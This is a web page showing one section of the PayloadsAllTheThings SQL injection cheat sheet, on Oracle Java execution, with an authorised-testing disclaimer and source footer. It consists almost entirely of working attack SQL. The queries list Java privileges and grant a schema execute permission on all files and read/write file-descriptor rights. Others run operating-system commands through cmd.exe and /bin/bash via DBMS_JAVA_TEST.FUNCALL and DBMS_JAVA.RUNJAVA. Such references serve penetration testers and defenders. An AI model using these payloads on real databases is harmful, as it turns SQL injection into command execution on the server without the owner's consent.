SQL Injection · passage 129 of 186

OracleSQL Injection: Oracle Java Execution

Text · SQL Injection/OracleSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

* List Java privileges ```sql select * from dba_java_policy select * from user_java_policy ``` * Grant privileges ```sql exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute'); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); ``` * Execute commands * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()` ```sql SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual ``` * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()` ```sql SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL ```

Every one of the 186 is a mark on the map. Named now: 105 to 130, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP